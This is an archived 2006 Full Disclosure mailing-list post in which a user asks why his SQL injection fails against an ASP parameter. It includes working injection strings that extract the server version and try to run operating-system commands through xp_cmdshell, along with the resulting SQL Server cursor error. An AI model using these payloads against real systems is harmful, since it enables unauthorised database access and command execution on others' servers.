Full Disclosure mailing list archives
SQL Injection with cursors?
From: "Andres Molinetti" <andymolinetti () hotmail com>
Date: Wed, 08 Nov 2006 16:33:08 +0000
Hi, I have another question, somehow related with my previous one. I have an injection point, where I can do, for example test.asp?param=blabla' and 1=(select @@version)-- and injections of the sort, and retrieve the information without problems. Now, when I try to execute a stored procedure like test.asp?param=blabla' exec master..xp_cmdshell 'dir'-- or test.asp?param=blabla'; exec master..xp_cmdshell 'dir'-- I get the following error: Microsoft OLE DB Provider for SQL Server error '80040e14' sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single select or a single stored procedure. Does anybody got an idea of why this is happening? Best Regards, Andy. _________________________________________________________________ Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con MSN Entretenimiento. http://entretenimiento.msn.es/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- SQL Injection with cursors? Andres Molinetti (Nov 01)
- <Possible follow-ups>
- SQL Injection with cursors? Andres Molinetti (Nov 08)